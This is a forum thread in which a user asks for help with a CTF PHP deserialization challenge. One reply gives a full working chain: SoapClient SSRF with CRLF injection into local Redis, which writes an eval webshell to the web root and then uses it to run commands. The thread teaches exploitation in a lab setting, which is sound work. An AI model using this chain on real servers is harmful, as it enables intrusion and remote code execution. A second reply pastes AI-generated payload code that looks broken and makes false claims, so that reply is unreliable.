吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 945|回复: 6
上一主题 下一主题
收起左侧

[求助] PHP反序列化,我觉得自己WP没错,但是做不出来答案

[复制链接]
跳转到指定楼层
楼主
GoogleHacking 发表于 2026-3-20 09:20 回帖奖励
题目源码:
<?php
highlight_file(__FILE__);
error_reporting(0);


//hint: Redis20251206


class pure{
    public $web;
    public $misc;
    public $crypto;
    public $pwn;


    public function __construct($web, $misc, $crypto, $pwn){
        $this->web = $web;
        $this->misc = $misc;
        $this->crypto = $crypto;
        $this->pwn = $pwn;
    }


    public function reverse(){
        $this->pwn = new $this->web($this->misc, $this->crypto);
    }


    public function osint(){
        $this->pwn->play_0xGame();
    }


    public function __destruct(){
        $this->reverse();
        $this->osint();
    }
}


$AI = $_GET['ai'];


$ctf = unserialize($AI);


?>


我的代码:

<?php
class pure{
    public $web;
    public $misc;
    public $crypto;
    public $pwn;
}

$exp = new pure();
$exp->web = "Redis";
$exp->misc = "return io.popen('cat /flag.php'):read()";
$exp->crypto = 1;
$exp->pwn = null;


echo urlencode(serialize($exp));
?>

有没有大佬给指导下


发帖前要善用【论坛搜索】功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

推荐
鬼魅王子 发表于 2026-3-20 10:59

CTF 题解与错误分析

题目信息

题目源码:

<?php
highlight_file(__FILE__);
error_reporting(0);

//hint: Redis20251206

class pure{
    public $web;
    public $misc;
    public $crypto;
    public $pwn;

    public function __construct($web, $misc, $crypto, $pwn){
        $this->web = $web;
        $this->misc = $misc;
        $this->crypto = $crypto;
        $this->pwn = $pwn;
    }

    public function reverse(){
        $this->pwn = new $this->web($this->misc, $this->crypto);
    }

    public function osint(){
        $this->pwn->play_0xGame();
    }

    public function __destruct(){
        $this->reverse();
        $this->osint();
    }
}

$AI = $_GET['ai'];
$ctf = unserialize($AI);
?>

最终拿到的 flag:

0xGame{SoapClient_SSRF_Attack_Redis}

漏洞点分析

核心危险点是这一句:

$ctf = unserialize($AI);

这意味着我们可以完全控制反序列化出来的 pure 对象属性。

而对象析构时会自动执行:

$this->pwn = new $this->web($this->misc, $this->crypto);
$this->pwn->play_0xGame();

因此我们真正可控的利用链条件是:

  1. $web 必须是一个可实例化的类名。
  2. 这个类的构造函数要能接受两个参数。
  3. 构造后调用不存在的方法 play_0xGame() 时,最好能触发可利用行为。

正确利用思路

1. 为什么选 SoapClient

SoapClient 很适合这个场景:

new SoapClient($wsdl, $options)

它刚好是两个参数。

并且当调用一个不存在的方法时,例如:

$soap->play_0xGame();

会触发一次远程 SOAP 请求。也就是说,代码中的:

$this->pwn->play_0xGame();

如果 $this->pwn 是 SoapClient,就会对指定目标发起网络访问。

2. 为什么目标是 Redis

源码里给了提示:

//hint: Redis20251206

从这个提示可以推断:

  1. 利用方向与 Redis 有关。
  2. 20251206 很可能是 Redis 密码。

3. 如何把 SOAP 请求变成 Redis 命令

构造 SoapClient 时可以控制:

  • location
  • uri

如果把 location 指向本机 Redis:

http://127.0.0.1:6379/

那么 SoapClient 发出的请求就会打到本地 Redis。

进一步地,SoapClient 在发请求时会构造 HTTP 头,其中 SOAPAction 会用到我们可控的 uri。如果在 uri 中插入 \r\n,就可以实现 CRLF 注入,把 Redis 命令混入请求中。

因此可以注入下面这些命令:

AUTH 20251206
CONFIG SET dir /var/www/html/
CONFIG SET dbfilename shell.php
SET x '<?=@eval($_POST[1])?>'
SAVE

这样 Redis 会把数据文件保存成:

/var/www/html/shell.php

虽然这个文件前面带有 Redis dump 头,但其中嵌入的 PHP 代码仍然会被解析执行。

4. 获取 flag

写入 WebShell 后,请求:

/shell.php

并 POST:

echo getenv("Flag");

或者:

system("env");

即可读到环境变量中的 flag。

你的代码为什么不行

你的代码如下:

<?php
class pure{
    public $web;
    public $misc;
    public $crypto;
    public $pwn;
}

$exp = new pure();
$exp->web = "Redis";
$exp->misc = "return io.popen('cat /flag.php'):read()";
$exp->crypto = 1;
$exp->pwn = null;

echo urlencode(serialize($exp));
?>

问题主要有四点。

1. 你把 $misc 误认为“会被执行的代码”

实际上 $misc 只会进入这里:

new $this->web($this->misc, $this->crypto);

也就是说,你的 payload 真正对应的是:

new Redis("return io.popen('cat /flag.php'):read()", 1);

这里的字符串只是构造参数,不会自动变成代码执行。

源码里没有任何地方做了:

  • eval($misc)
  • assert($misc)
  • system($misc)
  • rawCommand($misc)
  • EVAL $misc

所以这段字符串只是普通文本。

2. 方法名不是你能控制的

后续代码固定执行:

$this->pwn->play_0xGame();

也就是说,你不能让程序改去调用:

  • eval
  • rawCommand
  • system
  • get
  • set

所以即使你构造了一个 Redis 对象,也没有进入“执行任意 Redis 命令”的路径。

3. 你写的是 Lua 风格,但题目根本没走到 Lua 执行环境

这句:

return io.popen('cat /flag.php'):read()

看起来是想走 Redis Lua 脚本思路,但题目源码中并没有出现 Redis EVAL 的调用机会,所以这段内容根本不会作为 Lua 脚本执行。

4. 第二个参数也填错了

你给的是:

$exp->crypto = 1;

但正确利用里,第二个参数应该是 SoapClient 的选项数组,例如:

[
    "location" => "http://127.0.0.1:6379/",
    "uri" => "..."
]

只有这样才能把请求打到本地 Redis,并利用 CRLF 注入命令。

如何纠正

应该把利用方向从“字符串执行”修正为“利用对象行为”。

正确的对象属性应类似这样:

$exp->web = "SoapClient";
$exp->misc = null;
$exp->crypto = [
    "location" => "http://127.0.0.1:6379/",
    "uri" => "hello\"\r\nAUTH 20251206\r\nCONFIG SET dir /var/www/html/\r\nCONFIG SET dbfilename shell.php\r\nSET x '<?=@eval(\$_POST[1])?>'\r\nSAVE\r\nhello"
];
$exp->pwn = null;

修正后的 PHP Payload 生成代码

<?php
class pure{
    public $web;
    public $misc;
    public $crypto;
    public $pwn;
}

$exp = new pure();
$exp->web = "SoapClient";
$exp->misc = null;
$exp->crypto = [
    "location" => "http://127.0.0.1:6379/",
    "uri" => "hello\"\r\nAUTH 20251206\r\nCONFIG SET dir /var/www/html/\r\nCONFIG SET dbfilename shell.php\r\nSET x '<?=@eval(\$_POST[1])?>'\r\nSAVE\r\nhello"
];
$exp->pwn = null;

echo urlencode(serialize($exp));
?>

利用步骤总结

  1. 构造 pure 对象,令 $web = "SoapClient"。
  2. 令 $misc = null,$crypto 为 SoapClient 选项数组。
  3. 通过 location 指向 127.0.0.1:6379。
  4. 通过 uri 中的 CRLF 注入 Redis 命令。
  5. Redis 将恶意内容写入 /var/www/html/shell.php。
  6. 访问 shell.php,POST 执行命令读取环境变量。
  7. 获得 flag。

一句话结论

你的 payload 错,不是错在序列化格式,而是错在利用链选择。题目真正能打通的链子不是 Redis 执行字符串,而是 SoapClient 调不存在方法触发 SSRF,再借本地 Redis 写 WebShell 取 flag。

免费评分

参与人数 1吾爱币 +2 热心值 +1 收起 理由
GoogleHacking + 2 + 1 谢谢@Thanks!

查看全部评分

沙发
 楼主| GoogleHacking 发表于 2026-3-20 09:21 |楼主
头像被屏蔽
3#
nk470197316 发表于 2026-3-20 09:29
4#
fin618 发表于 2026-3-20 10:36
本帖最后由 fin618 于 2026-3-20 10:38 编辑

豆包给出的,你参考一下:
[PHP] 纯文本查看 复制代码
<?php
class pure{
    public $web;
    public $misc;
    public $crypto;
    public $pwn;
}

// 方案1:利用PHP原生类(推荐,无需Redis环境)
$exp = new pure();
// 关键点1:使用PHP原生类SimpleXMLElement(可执行命令)
$exp->web = "SimpleXMLElement";
// 关键点2:构造XML payload执行命令(读取flag)
$exp->misc = '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY cmd SYSTEM "file:///flag.php">]><root>&cmd;</root>';
// 关键点3:设置libxml参数(开启实体解析)
$exp->crypto = LIBXML_NOENT | LIBXML_DTDLOAD;
// 关键点4:伪造play_0xGame方法(利用__call魔术方法)
$exp->pwn = new class {
    public function __call($name, $args) {
        // 输出读取到的flag内容
        echo file_get_contents('/flag.php');
    }
};

// 生成序列化payload(URL编码,直接拼接在?ai=后)
echo urlencode(serialize($exp));
?>

免费评分

参与人数 1吾爱币 +2 热心值 +1 收起 理由
GoogleHacking + 2 + 1 热心回复!

查看全部评分

6#
 楼主| GoogleHacking 发表于 2026-3-20 12:02 |楼主
鬼魅王子 发表于 2026-3-20 10:59
[md]# CTF 题解与错误分析

## 题目信息

大佬厉害,
7#
HenryL 发表于 2026-3-20 12:44
鬼魅王子 发表于 2026-3-20 10:59
[md]# CTF 题解与错误分析

## 题目信息

厉害
我就说在论坛能学到真东西
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - 52pojie.cn ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2026-11-11 05:06

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表